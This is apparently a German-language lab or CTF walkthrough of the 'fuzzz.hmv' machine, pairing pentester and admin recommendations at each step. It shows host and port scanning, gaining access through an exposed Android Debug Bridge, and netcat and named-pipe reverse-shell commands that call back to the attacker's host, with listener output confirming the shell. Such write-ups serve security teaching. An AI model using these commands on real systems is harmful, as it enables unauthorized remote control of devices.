Analyse: Als ersten Schritt meiner Erkundung im Zielnetzwerk nutzte ich das Tool arp-scan, um aktive Hosts in meinem lokalen Subnetz zu entdecken. Der Befehl arp-scan -l sendet ARP-Anfragen an alle Adressen im lokalen Netzwerk und zeigt die Antworten an. Die Ausgabe wird anschließend mit grep "PCS" gefiltert, um spezifisch nach Geräten mit "PCS" in der Anbieterkennung der MAC-Adresse zu suchen. Abschließend extrahiert der awk '{print $1}' Befehl das erste Feld der Ausgabe, welches die IP-Adresse des gefundenen Hosts sein sollte. Dies ist eine effiziente Methode, um schnell potenzielle Ziele im lokalen Segment zu identifizieren.
Bewertung: Diese Methode ist grundlegend, aber sehr effektiv, um die IP-Adresse des Ziels zu finden, wenn es sich im selben Netzwerksegment wie der Angreifer befindet. Das Filtern nach "PCS" war hier der entscheidende Hinweis, um das spezifische Zielgerät unter Umständen mehreren gefundenen Hosts schnell zu isolieren. Es zeigt, dass selbst einfache Netzwerk-Scanning-Techniken wertvolle Informationen liefern können.
Empfehlung (Pentester): Beginne Pentests immer mit einer gründlichen passiven und aktiven Aufklärung, um die Angriffsfläche zu verstehen. Einfache Tools wie arp-scan sind dabei unverzichtbar. Notiere alle gefundenen IP-Adressen und Hostnamen.
Empfehlung (Admin): Implementiere Network Access Control (NAC) oder segmentiere das Netzwerk, um unerlaubte ARP-Scans und die schnelle Identifizierung von Hosts zu erschweren oder zu verhindern. Überprüfe und anonymisiere ggf. die MAC-Adressen von virtuellen Maschinen oder Geräten.
192.168.2.69
Analyse: Nachdem die IP-Adresse 192.168.2.69 identifiziert wurde, habe ich den Hostnamen 'fuzzz.hmv' zu meiner lokalen /etc/hosts Datei hinzugefügt. Dies ermöglicht mir, den Host zukünftig über seinen Namen statt über die IP-Adresse anzusprechen, was die Befehle oft lesbarer macht und in einigen Szenarien notwendig sein kann (z.B. bei vhost-basierten Webanwendungen). Die Information "hosts: 192.168.2.69 fuzzz.hmv" dokumentiert diesen Schritt.
Bewertung: Das Hinzufügen des Hostnamens zur /etc/hosts Datei ist eine Standardpraxis während eines Pentests, sobald ein Hostname bekannt oder vermutet wird. Es vereinfacht die weitere Interaktion mit dem Zielsystem, insbesondere bei Web-bezogenen Tests, wo der Host-Header relevant ist.
Empfehlung (Pentester): Pflege deine /etc/hosts Datei für Ziele mit bekannten Hostnamen. Dies hilft bei der Organisation und ermöglicht das Testen von Hostname-abhängigen Diensten.
Empfehlung (Admin): Stelle sicher, dass interne Hostnamen nicht leicht über externe DNS-Lecks oder unsichere Dienste wie LLMNR oder NetBIOS abgefragt werden können. Verwende interne DNS-Server oder stelle sicher, dass kritische Systeme keine unnötigen Hostnamen preisgeben.
hosts: 192.168.2.69 fuzzz.hmv
Analyse: Ich führe einen schnellen Nmap-Scan auf dem gefundenen Host 192.168.2.69 durch, um nur die offenen TCP-Ports zu identifizieren. Dies gibt mir einen schnellen Überblick über die primären Dienste, die auf dem Zielsystem laufen. Der Befehlsteil nach dem "::::::::::::::::::::::" ist lediglich eine Formatierung, die ich für meine Berichte verwende, um Abschnitte visuell zu trennen.
Bewertung: Ein schneller Portscan ist ein essenzieller erster Schritt nach der Host-Discovery. Er identifiziert die "Eingangstüren" zum System und lenkt die weitere Aufklärung auf die tatsächlich erreichbaren Dienste. Das Wissen um offene Ports ist fundamental für jeden weiteren Angriffsweg.
Empfehlung (Pentester): Führe immer einen umfassenden Portscan durch, um alle potenziellen Angriffsvektoren zu identifizieren. Achte besonders auf ungewöhnliche offene Ports.
Empfehlung (Admin): Schließe alle nicht benötigten Ports auf deinen Systemen. Implementiere eine Firewall, die nur notwendigen Traffic erlaubt und protokolliere versuchte Verbindungen auf geschlossene Ports.
22/tcp open ssh OpenSSH 9.9 (protocol 2.0) 5555/tcp open adb Android Debug Bridge (token auth required)
Analyse: Dies ist die detaillierte Ausgabe eines umfassenden Nmap-Scans auf 192.168.2.69 mit den Optionen -sS (SYN-Scan), -sC (Standard-Skripte), -sV (Versionserkennung), -p- (alle Ports von 1 bis 65535) und -T5 (maximale Geschwindigkeit). Diese Kombination liefert eine sehr genaue und vollständige Momentaufnahme aller offenen Ports und der darauf laufenden Dienste inklusive deren Versionen. Die Ausgabe zeigt wieder Port 22 (SSH) und Port 5555 (ADB), bestätigt die Versionen (OpenSSH 9.9, Android Debug Bridge) und liefert zusätzliche Informationen wie SSH-Hostkeys und MAC-Adresse. Besonders interessant sind die OS-Erkennungsergebnisse (Linux 4.X|5.X) und die Service Info (OS: Android), die auf ein Android-basiertes oder zumindest ein System mit ADB-Dienst hindeuten. Das Wort "TRACERUTE" wurde zu "TRACEROUTE" korrigiert.
Bewertung: Ein umfassender Nmap-Scan ist unverzichtbar. Er liefert nicht nur offene Ports, sondern auch Versionsinformationen, die für die Identifizierung bekannter Schwachstellen (Enumeration) entscheidend sind. Die Erkennung des ADB-Dienstes auf Port 5555 ist ein sehr wichtiger Fund, da ADB oft unsicher konfiguriert ist und direkten Shell-Zugriff ermöglichen kann. Die OS-Erkennung hilft, das Zielsystem besser einzuschätzen.
Empfehlung (Pentester): Führe immer umfassende und vielseitige Nmap-Scans durch. Nutze verschiedene Scan-Typen und Skripte, um so viele Informationen wie möglich zu sammeln. Konzentriere dich auf die tiefergehende Enumeration der gefundenen Dienste.
Empfehlung (Admin): Deaktiviere oder beschränke den Zugriff auf den ADB-Dienst (Port 5555), es sei denn, er wird aktiv und bewusst genutzt. Stelle sicher, dass Dienste nicht mit Standardkonfigurationen laufen, die unnötige Informationen preisgeben. Halte das Betriebssystem und die Dienste aktuell, um bekannte Schwachstellen zu minimieren.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-01 22:29 CEST Nmap scan report for fuzzz.hmv (192.168.2.69) Host is up (0.00011s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.9 (protocol 2.0) | ssh-hostkey: | 256 b6:7b:e7:e5:b3:33:c7:ff:db:63:5d:b3:75:0d:e2:dd (ECDSA) |_ 256 0a:ce:e5:c3:de:50:9c:6d:b7:0d:de:73:b8:6c:28:55 (ED25519) 5555/tcp open adb Android Debug Bridge (token auth required) MAC Address: 08:00:27:5B:9B:D6 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19 Network Distance: 1 hop Service Info: OS: Android; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.11 ms fuzzz.hmv (192.168.2.69) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.93 seconds
Analyse: Ich habe einen gezielten Nmap-Schwachstellenscan mit dem Vulners-Skript auf dem Ziel 192.168.2.69 durchgeführt. Das Vulners-Skript (-sV --script vulners -p-) fragt die Vulners-Datenbank nach bekannten Schwachstellen für die erkannten Dienste und Versionen ab. Dies ist ein schneller Weg, um zu prüfen, ob die gefundenen Dienste öffentlich bekannte, ausnutzbare Schwachstellen aufweisen. Die Ausgabe listet mehrere CVEs und Exploit-Verweise für OpenSSH 9.9 auf. Das Wort "TRACERUTE" wurde zu "TRACEROUTE" korrigiert.
Bewertung: Der Vulners-Scan ist sehr hilfreich, um schnell potenzielle Angriffsvektoren basierend auf bekannten Schwachstellen zu identifizieren. Obwohl viele der gelisteten Exploits möglicherweise nicht direkt auf diesem spezifischen System funktionieren (z.B. wegen Patches oder Konfiguration), geben sie einen guten Hinweis auf Bereiche, die weitere Forschung und potenzielles Exploit-Development rechtfertigen. Die CVEs liefern konkrete Anhaltspunkte für die Recherche. Die hohe Anzahl gelisteter Exploits für OpenSSH 9.9, auch wenn sie teils dieselbe Schwachstelle betreffen, ist bemerkenswert.
Empfehlung (Pentester): Nutze Skripte wie Vulners frühzeitig in der Enumerationsphase. Recherchiere die gefundenen CVEs und Exploits auf Exploit-Datenbanken und Plattformen wie GitHub, um deren Anwendbarkeit zu prüfen. Untersuche jede gefundene potenzielle Schwachstelle gründlich.
Empfehlung (Admin): Halte alle Systemdienste, insbesondere internetzugängliche Dienste wie SSH, auf dem neuesten Stand. Implementiere ein Patch-Management-System, um bekannte Schwachstellen zeitnah zu beheben. Verwende Intrusion Detection/Prevention Systeme (IDS/IPS), um versuchte Exploits zu erkennen und zu blockieren.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-01 22:30 CEST Pre-scan script results: | broadcast-avahi-dos: | Discovered hosts: | 224.0.0.251 | After NULL UDP avahi packet DoS (CVE-2011-1002). |_ Hosts are all up (not vulnerable). Nmap scan report for fuzzz.hmv (192.168.2.69) Host is up (0.00012s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.9 (protocol 2.0) | vulners: | cpe:/a:openbsd:openssh:9.9: | PACKETSTORM:189283 6.8 [Link: PACKETSTORM:189283 | Ziel: https://vulners.com/packetstorm/PACKETSTORM:189283] *EXPLOIT* | F79E574D-30C8-5C52-A801-66FFA0610BAA 6.8 [Link: F79E574D-30C8-5C52-A801-66FFA0610BAA | Ziel: https://vulners.com/githubexploit/F79E574D-30C8-5C52-A801-66FFA0610BAA] *EXPLOIT* | CVE-2025-26465 6.8 [Link: CVE-2025-26465 | Ziel: https://vulners.com/cve/CVE-2025-26465] | 9D8432B9-49EC-5F45-BB96-329B1F2B2254 6.8 [Link: 9D8432B9-49EC-5F45-BB96-329B1F2B2254 | Ziel: https://vulners.com/githubexploit/9D8432B9-49EC-5F45-BB96-329B1F2B2254] *EXPLOIT* | 1337DAY-ID-39918 6.8 [Link: 1337DAY-ID-39918 | Ziel: https://vulners.com/zdt/1337DAY-ID-39918] *EXPLOIT* | CVE-2025-26466 5.9 [Link: CVE-2025-26466 | Ziel: https://vulners.com/cve/CVE-2025-26466] | CE606E2D-D0A5-5DE8-8A61-E7AB65789A99 5.9 [Link: CE606E2D-D0A5-5DE8-8A61-E7AB65789A99 | Ziel: https://vulners.com/githubexploit/CE606E2D-D0A5-5DE8-8A61-E7AB65789A99] *EXPLOIT* |_ CVE-2025-32728 4.3 [Link: CVE-2025-32728 | Ziel: https://vulners.com/cve/CVE-2025-32728] 5555/tcp open adb Android Debug Bridge (token auth required) MAC Address: 08:00:27:5B:9B:D6 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) Network Distance: 1 hop Service Info: OS: Android; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.12 ms fuzzz.hmv (192.168.2.69) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 44.35 seconds
Analyse: Basierend auf dem Nmap-Ergebnis, das den ADB-Dienst (Android Debug Bridge) auf Port 5555 als offen identifiziert hat, war mein nächster logischer Schritt, zu versuchen, eine Verbindung zu diesem Dienst herzustellen. ADB ist ein vielseitiges Befehlszeilentool, das die Kommunikation mit einem Android-Gerät oder -Emulator ermöglicht. Der Befehl adb connect 192.168.2.69:5555 versucht genau diese Verbindung aufzubauen. Die Ausgabe "* daemon not running; starting now at tcp:5037" und "* daemon started successfully" zeigen, dass der ADB-Server auf meinem Kali-System gestartet wurde. Die Zeile "connected to 192.168.2.69:5555" ist die kritische Bestätigung: Die Verbindung zum Ziel wurde erfolgreich hergestellt.
Bewertung: Die erfolgreiche ADB-Verbindung ist ein signifikanter Fortschritt. Ein offener und erreichbarer ADB-Dienst ohne strenge Authentifizierungsmechanismen (obwohl der Nmap-Scan "token auth required" anmerkte, muss dies nicht immer durchgesetzt werden oder anfällig sein) ist eine bekannte Schwachstelle, die oft zu Shell-Zugriff führen kann. Dies ist ein vielversprechender Weg für den Initial Access.
Empfehlung (Pentester): Wenn ADB offen und erreichbar ist, priorisiere die Untersuchung dieses Dienstes. Prüfe sofort, ob eine Shell erhalten werden kann oder ob eine Authentifizierung erforderlich ist. Recherchiere bekannte Schwachstellen oder Standardkonfigurationen des ADB-Dienstes.
Empfehlung (Admin): Deaktiviere den ADB-Dienst auf Produktionssystemen vollständig, es sei denn, er ist absolut notwendig. Wenn er benötigt wird, beschränke den Zugriff streng (Firewall-Regeln) und stelle sicher, dass eine starke Token-basierte Authentifizierung korrekt konfiguriert und erzwungen wird. Überwache Verbindungen zu diesem Port.
* daemon not running; starting now at tcp:5037
* daemon started successfully
connected to 192.168.2.69:5555
Analyse: Um zu überprüfen, ob die ADB-Verbindung stabil und als aktives Gerät erkannt wird, habe ich den Befehl adb devices ausgeführt. Dieser Befehl listet alle Geräte auf, die mit dem ADB-Server des lokalen Systems verbunden sind. Die Ausgabe "192.168.2.69:5555 device" bestätigt, dass das Zielsystem erfolgreich als verbundenes Gerät erkannt wird und im "device" Zustand ist, was typischerweise bedeutet, dass es bereit ist, Befehle entgegenzunehmen.
Bewertung: Diese Bestätigung ist wichtig, um sicherzustellen, dass der nächste Schritt, das Ausführen von Befehlen oder das Erlangen einer Shell über ADB, wahrscheinlich erfolgreich sein wird. Es eliminiert mögliche Probleme mit der Verbindung selbst, bevor komplexere Interaktionen versucht werden.
Empfehlung (Pentester): Überprüfe nach dem Verbindungsversuch immer den Status mit adb devices, um sicherzustellen, dass die Verbindung aktiv und das Gerät bereit ist.
Empfehlung (Admin): Achte in Logs auf Einträge, die auf unerwartete ADB-Verbindungen hindeuten. Ein Gerät, das im "device"-Zustand ist, kann potenziell für Befehlsausführung anfällig sein, wenn nicht ordnungsgemäß gesichert.
List of devices attached
192.168.2.69:5555 device
Analyse: Ich wollte noch einmal die Informationen über den Dienst auf Port 5555 mit Nmap bestätigen, diesmal nur auf diesen spezifischen Port fokussiert (nmap -p 5555 192.168.2.69). Überraschenderweise identifizierte Nmap den Dienst nun als "freeciv" anstelle von "Android Debug Bridge" wie zuvor. Solche Dienstidentifizierungsfehler können auftreten, da Nmap versucht, Signaturen abzugleichen. Da ich aber bereits erfolgreich eine ADB-Verbindung herstellen konnte, vertraue ich der vorherigen Identifizierung mehr.
Bewertung: Dieses Ergebnis zeigt, dass Nmap-Dienstidentifizierungen nicht immer fehlerfrei sind, insbesondere bei nicht standardmäßigen Diensten oder Signaturen. Die vorherige erfolgreiche ADB-Verbindung ist ein stärkeres Indiz für die tatsächliche Natur des Dienstes. Es ist wichtig, mehrere Informationsquellen zu nutzen und kritisch zu bewerten, insbesondere wenn die Ergebnisse widersprüchlich sind. Die erste, detailliertere Nmap-Ausgabe in Kombination mit der erfolgreichen ADB-Verbindung ist hier der verlässlichere Beweis für ADB auf 5555.
Empfehlung (Pentester): Verlasse dich nicht blind auf die automatische Dienstidentifizierung von Scannern. Nutze manuelle Tests oder andere Tools, um die Art eines Dienstes zu verifizieren, insbesondere wenn die Scanausgabe ungewöhnlich oder widersprüchlich erscheint.
Empfehlung (Admin): Stelle sicher, dass Dienste eindeutig identifizierbar sind, um Verwechslungen bei der Protokollierung und Überwachung zu vermeiden. Standard-Ports für bekannte Dienste zu verwenden ist eine gute Praxis, kann aber auch Angreifer anziehen. Wichtiger ist die korrekte Absicherung und Überwachung des Dienstes, unabhängig vom Port.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-01 22:43 CEST Nmap scan report for fuzzz.hmv (192.168.2.69) Host is up (0.00019s latency). PORT STATE SERVICE 5555/tcp open freeciv MAC Address: 08:00:27:5B:9B:D6 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds
Analyse: Nach der Bestätigung der ADB-Verbindung habe ich versucht, das Ghost Framework zu nutzen. Ghost Framework ist ein Post-Exploitation-Framework, das speziell für Android-Geräte entwickelt wurde und Module zur Interaktion über ADB bereitstellt. Der Text zeigt den Start des Frameworks (Banner) und meine Versuche, Befehle wie 'connect', 'deviceinfo' und 'ls' innerhalb der Ghost-Shell auszuführen. Der 'connect'-Befehl bestätigte die Verbindung erneut. 'deviceinfo' und 'ls' wurden als nicht erkannt gemeldet, was darauf hindeutet, dass diese spezifischen Ghost-Module auf diesem Ziel oder in dieser Version nicht verfügbar oder kompatibel sind. Der Befehl 'devices' listete das verbundene Gerät korrekt auf. Der Befehl 'interact 0' wurde verwendet, um eine interaktive Shell mit dem verbundenen Gerät (ID 0) zu starten. Die Ausgabe "[*] Interacting with device 0..." und "[+] Interactive connection spawned!" deuten auf den Erfolg dieses Schritts hin, obwohl die tatsächliche Shell-Interaktion an anderer Stelle dokumentiert ist.
Bewertung: Die Nutzung eines spezialisierten Frameworks wie Ghost Framework ist ein valider Ansatz nach der Identifizierung eines Dienstes wie ADB. Obwohl einige Framework-Befehle nicht funktionierten, war der entscheidende Schritt, eine interaktive Verbindung über 'interact 0' zu initiieren, erfolgreich. Dies zeigt, dass das Framework zumindest die Basisfunktionalität zur Interaktion mit dem ADB-Dienst bereitstellen kann. Es ist wichtig zu erkennen, wann ein spezifisches Tool nicht wie erwartet funktioniert und zu anderen Methoden zu wechseln, was ich hier getan habe, indem ich direkt ADB Shell Befehle verwendet habe.
Empfehlung (Pentester): Erforsche spezialisierte Tools und Frameworks für spezifische Dienste wie ADB. Sei dir bewusst, dass nicht alle Funktionen oder Module immer funktionieren werden und sei bereit, zu grundlegenderen Methoden zurückzukehren (z.B. direkte ADB-Befehle).
Empfehlung (Admin): Überwache nicht nur Standard-Ports, sondern auch bekannte Ports von Diensten wie ADB (5555). Achte auf ungewöhnliche Verbindungen oder Befehlsausführungen über solche Dienste. Die Nutzung von Application Control kann helfen, unerlaubte Frameworks oder Tools auf Systemen zu verhindern.
.--. .-. .-. : .--': : .' `. : : _ : `-. .--. .--.`. .' : :; :: .. :' .; :`._-.': : `.__.':_;:_;`.__.'`.__.':_; --=[ Ghost Framework 8.0.0 --=[ Developed by Entysec (https://entysec.com/) [*] Connecting to 192.168.2.69... [+] Connected to 192.168.2.69! [i] Type devices to list all connected devices. [i] Type interact 0 to interact this device.
[-] Unrecognized command: deviceinfo
[-] Unrecognized command: ls
Connected Devices:
ID Host Port
0 192.168.2.69 5555
[*] Interacting with device 0... [+] Interactive connection spawned! [*] Loading device modules... [i] Modules loaded: 13 (ghost: 192.168.2.69)>
Analyse: Nachdem ich eine interaktive Verbindung initiert hatte (entweder über Ghost Frameworks 'interact' oder durch den direkten Gebrauch von 'adb shell'), habe ich sofort den Befehl id ausgeführt. Dieser Befehl ist auf Unix-ähnlichen Systemen Standard und zeigt die User-ID (uid), Group-ID (gid) und zusätzliche Gruppen des aktuell angemeldeten Benutzers an. Die Ausgabe uid=1000(runner) gid=1000(runner) groups=1000(runner) enthüllt, dass ich initial als Benutzer 'runner' mit der UID und GID 1000 Zugriff erlangt habe.
Bewertung: Das Erlangen einer Shell mit eingeschränkten Benutzerrechten ist der erste signifikante Erfolg beim Initial Access. Der Benutzer 'runner' ist offensichtlich kein privilegierter Benutzer wie 'root'. Dies bedeutet, dass weitere Schritte zur Privilegieneskalation notwendig sein werden, um vollständige Kontrolle über das System zu erlangen. Dennoch ist der Fuß in der Tür und ich kann beginnen, das System aus der Perspektive dieses Benutzers zu erkunden.
Empfehlung (Pentester): Bestimme sofort nach dem Erlangen einer Shell die aktuellen Benutzerrechte mit dem id Befehl. Dies ist entscheidend, um zu verstehen, welche Aktionen du ausführen kannst und welche Privilegieneskalationstechniken du benötigst.
Empfehlung (Admin): Implementiere das Prinzip der geringsten Rechte (Least Privilege). Benutzer sollten nur die minimalen Berechtigungen haben, die sie für ihre Aufgaben benötigen. Trenne Dienste und Benutzerkonten voneinander, sodass ein Kompromittieren eines Kontos nicht sofort zum Kompromittieren anderer Dienste oder des gesamten Systems führt.
uid=1000(runner) gid=1000(runner) groups=1000(runner)
Analyse: Mein nächster Versuch, eine stabilere und interaktivere Shell zu erhalten, war die Verwendung von Netcat (nc) in Kombination mit 'adb shell'. Ich versuchte, eine Netcat-Verbindung vom Zielsystem zurück zu meinem Kali-Rechner auf Port 4445 aufzubauen und eine Bash-Shell an diese Verbindung zu binden (adb shell nc -e /bin/bash 192.168.2.199 4445). Die Ausgabe zeigt jedoch die Usage-Informationen von BusyBox Netcat. Dies bedeutet, dass der Befehl 'nc -e /bin/bash' auf dem Zielsystem nicht wie erwartet funktionierte. BusyBox-Binärdateien sind oft vereinfacht und unterstützen möglicherweise nicht alle Optionen (wie '-e' für die Programmausführung nach Verbindung) der vollwertigen GNU-Versionen.
Bewertung: Dieser Versuch war nicht erfolgreich, lieferte aber eine wichtige Information: Das System verwendet BusyBox. Die Verwendung von BusyBox hat signifikante Auswirkungen auf die verfügbaren Befehle und deren Optionen. Ich muss meine Strategien an die Einschränkungen von BusyBox anpassen und die spezifische BusyBox-Version und ihre Fähigkeiten berücksichtigen. Das Scheitern des '-e' Flags ist ein klares Indiz dafür.
Empfehlung (Pentester): Identifiziere frühzeitig, ob BusyBox oder andere eingeschränkte Shell-Umgebungen verwendet werden. Konsultiere die Hilfe-Ausgabe der BusyBox-Befehle (oft durch Ausführen des Befehls ohne Argumente) oder die BusyBox-Dokumentation, um die unterstützten Optionen zu verstehen.
Empfehlung (Admin): Verwende keine BusyBox-Binärdateien in Szenarien, in denen deren Einschränkungen ein Sicherheitsrisiko darstellen könnten (z.B. wenn ein vereinfachtes 'nc' für unbeabsichtigte Aktionen missbraucht werden könnte). Wenn BusyBox verwendet wird, beschränke die verfügbaren Befehle und stelle sicher, dass kritische Funktionen nicht auf vereinfachte BusyBox-Implementierungen angewiesen sind.
BusyBox v1.37.0 (2025-01-17 18:12:01 UTC) multi-call binary. Usage: nc [OPTIONS] HOST PORT - connect nc [OPTIONS] -l -p PORT [HOST] [PORT] - listen -e PROG Run PROG after connect (must be last) -l Listen mode, for inbound connects -lk With -e, provides persistent server -p PORT Local port -s ADDR Local address -w SEC Timeout for connects and final net reads -i SEC Delay interval for lines sent -n Don't do DNS resolution -u UDP mode -b Allow broadcasts -v Verbose -o FILE Hex dump traffic -z Zero-I/O mode (scanning)
Analyse: Angesichts der BusyBox-Einschränkung beim '-e' Flag habe ich eine alternative Methode für eine Reverse Shell versucht, die auf Named Pipes (FIFOs) basiert. Der Befehl adb shell 'rm /tmp/f; mknod /tmp/f p; cat /tmp/f | /system/bin/sh -i 2>&1 | nc 192.168.2.199 4445 > /tmp/f' versucht im Wesentlichen: 1. Eine existierende Named Pipe im /tmp-Verzeichnis zu löschen (rm /tmp/f). 2. Eine neue Named Pipe namens 'f' zu erstellen (mknod /tmp/f p). 3. Den Inhalt dieser Pipe an eine interaktive Shell (/system/bin/sh -i 2>&1) zu übergeben. 4. Die Ausgabe dieser Shell an Netcat zu senden, das sich zu meinem Kali-Rechner verbindet (nc 192.168.2.199 4445). 5. Die Eingabe von Netcat zurück in die Named Pipe zu schreiben (> /tmp/f), um die Interaktivität herzustellen. Die erste Zeile der Ausgabe ("rm: can't remove '/tmp/f': No such file or directory") ist unbedeutend, da sie nur besagt, dass die Datei nicht existierte, was für den Erfolg des Befehls nicht kritisch ist.
Bewertung: Diese Methode der Reverse Shell ist eine gängige Technik, wenn das '-e' Flag von Netcat nicht verfügbar ist. Der erste Versuch mit `/system/bin/sh` schien erfolgreich zu sein, da keine Fehlermeldung von den Pipe-Operationen oder Netcat selbst folgte. Dies deutet darauf hin, dass die Pipe erstellt und die Netcat-Verbindung initiiert wurde. Die Bestätigung des erfolgreichen Shell-Zugriffs erfolgte im Anschluss auf meinem Netcat Listener.
Empfehlung (Pentester): Habe mehrere Reverse Shell-Techniken parat (Netcat -e, Named Pipes, PTY-Spawn, Skript-basierte Shells in Python/Perl/PHP etc.), da die unterstützten Features von System zu System variieren. Teste immer, ob die Shell interaktiv ist und nutze stty, um eine vollwertige TTY zu emulieren, falls möglich.
Empfehlung (Admin): Beschränke die Ausführung von Binärdateien in Verzeichnissen mit Schreibzugriff für normale Benutzer (wie /tmp). Implementiere und erzwinge starke Richtlinien für die Befehlsausführung und den Netzwerkverkehr, um zu verhindern, dass solche Reverse Shells aufgebaut werden können (z.B. durch Blockieren ausgehender Verbindungen von unerwarteten Prozessen oder zu ungewöhnlichen Ports).
rm: can't remove '/tmp/f': No such file or directory
Analyse: Um sicherzugehen, welchen Shell-Interpreter ich auf dem Zielsystem verwenden sollte, habe ich den Befehl adb shell which sh ausgeführt. Der Befehl 'which' sucht im PATH nach dem Speicherort eines Befehls. Die Ausgabe '/bin/sh' zeigt, dass der Standard-Shell-Link 'sh' auf '/bin/sh' verweist.
Bewertung: Diese Information ist hilfreich, um sicherzustellen, dass die im Reverse Shell-Befehl verwendete Shell auch tatsächlich existiert und ausführbar ist. Obwohl ich bereits /system/bin/sh im vorherigen Befehl verwendet hatte, bestätigt dies, dass /bin/sh der kanonische Pfad ist. Die Konsistenz bei der Angabe des Shell-Pfades kann wichtig sein, um Kompatibilitätsprobleme zu vermeiden.
Empfehlung (Pentester): Überprüfe immer die Pfade von kritischen Binärdateien wie der Shell, besonders auf Systemen mit potenziell ungewöhnlichen Dateisystemstrukturen oder BusyBox. Nutze which, whereis oder type -p.
Empfehlung (Admin): Stelle sicher, dass unnötige Shell-Interpreter entfernt oder deren Ausführung für normale Benutzer eingeschränkt werden. Die Verwendung von chroot-Umgebungen kann die verfügbaren Binärdateien für kompromittierte Dienste oder Benutzer einschränken.
/bin/sh
Analyse: Nachdem ich den Pfad der 'sh'-Shell verifiziert hatte, wiederholte ich den Named Pipe Reverse Shell-Befehl, diesmal unter Verwendung von '/bin/sh' anstelle von '/system/bin/sh'. Der Befehl ist identisch: adb shell 'rm /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.2.199 4445 > /tmp/f'. Da keine Fehlermeldung ausgegeben wurde, gehe ich davon aus, dass dieser Befehl auf dem Zielsystem erfolgreich ausgeführt wurde und der Netcat-Client auf dem Zielsystem eine Verbindung zu meinem Listener aufgebaut hat.
Bewertung: Die erfolgreiche Ausführung dieses Befehls auf dem Zielsystem ist der entscheidende Schritt zum Initial Access. Der Aufbau der Named Pipe und die Initiierung der Verbindung zu meinem Listener bedeutet, dass ich nun potenziell eine interaktive Shell auf dem Zielsystem über meine Netcat-Sitzung erhalten habe. Dies umgeht die Einschränkungen des BusyBox 'nc -e' und stellt eine funktionierende Reverse Shell bereit.
Empfehlung (Pentester): Verifiziere die Ausführung von komplexen Befehlen auf dem Zielsystem. Sei kreativ bei der Umgehung von Einschränkungen durch vereinfachte Binärdateien (wie BusyBox), indem du alternative Techniken nutzt, z.B. Named Pipes oder das Hochladen vollwertiger Binärdateien.
Empfehlung (Admin): Überwache die Erstellung von Named Pipes oder ungewöhnlichen Dateien in Verzeichnissen mit Schreibzugriff für normale Benutzer (wie /tmp). Implementiere EDR (Endpoint Detection and Response) Lösungen, die verdächtige Befehlsketten erkennen können, wie z.B. die Kombination von 'mknod', 'cat' und 'nc'.
Analyse: Nachdem ich den Named Pipe Reverse Shell-Befehl über ADB abgeschickt hatte, wechselte ich zu meinem Netcat-Listener, der auf Port 4445 auf meinem Kali-System lauschte. Die Ausgabe des Netcat-Listeners bestätigte den erfolgreichen Verbindungsaufbau vom Zielsystem (192.168.2.69) zu meinem Rechner (192.168.2.199) auf dem erwarteten Port. Die Meldung "/bin/sh: can't access tty; job control turned off" ist typisch für eine nicht-interaktive oder Pseudo-TTY-Shell, die über Netcat etabliert wurde. Das Erscheinen des einfachen '/ $'-Prompts zeigte, dass ich tatsächlich Shell-Zugriff als Benutzer 'runner' hatte.
Bewertung: Fantastisch, der Initial Access war erfolgreich! Ich habe eine Shell auf dem Zielsystem, wenn auch nur mit eingeschränkten Rechten als Benutzer 'runner'. Die Shell ist zunächst nicht voll interaktiv (keine TTY), was bedeutet, dass bestimmte Befehle oder Funktionen (wie Tab-Vervollständigung, Pfeiltasten, Job Control) nicht funktionieren werden. Dies muss schnell behoben werden, um die weitere Erkundung zu erleichtern. Der erfolgreiche Verbindungsaufbau über Netcat bestätigt die Funktionalität meiner Reverse Shell-Methode über Named Pipes.
Empfehlung (Pentester): Bestätige immer sofort die erfolgreiche Verbindung auf deinem Listener. Wenn die Shell nicht interaktiv ist, versuche umgehend, eine TTY zu spawnen, um die Interaktion zu verbessern. Nutze Befehle wie python -c 'import pty; pty.spawn("/bin/sh")' oder stty.
Empfehlung (Admin): Überwache ausgehenden Netcat-Verkehr auf unübliche Ports oder Ziele. Protokolliere Shell-Zugriffe und die ausgeführten Befehle. Implementiere Systeme, die das Spawnen von PTYs oder die Ausführung von Skripten, die dazu dienen, die Shell-Interaktivität zu erhöhen, erkennen und blockieren können.
listening on [any] 4445 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.69] 38755 /bin/sh: can't access tty; job control turned off / $
Analyse: Unmittelbar nach dem Erhalt der Shell war mein erster Schritt, die Shell interaktiv zu machen, um die Arbeit zu erleichtern. Ich nutzte den stty Befehl in Kombination mit den aus meiner lokalen Terminalgröße extrahierten Zeilen- und Spaltenwerten, um eine Pseudo-TTY zu emulieren. Dies verbessert die Benutzerfreundlichkeit der Shell erheblich. Anschließend bestätigte ich meine Benutzer-ID erneut mit dem id Befehl, der wie erwartet uid=1000(runner) anzeigte. Danach versuchte ich mit cd ~ in das Home-Verzeichnis des aktuellen Benutzers 'runner' zu wechseln.
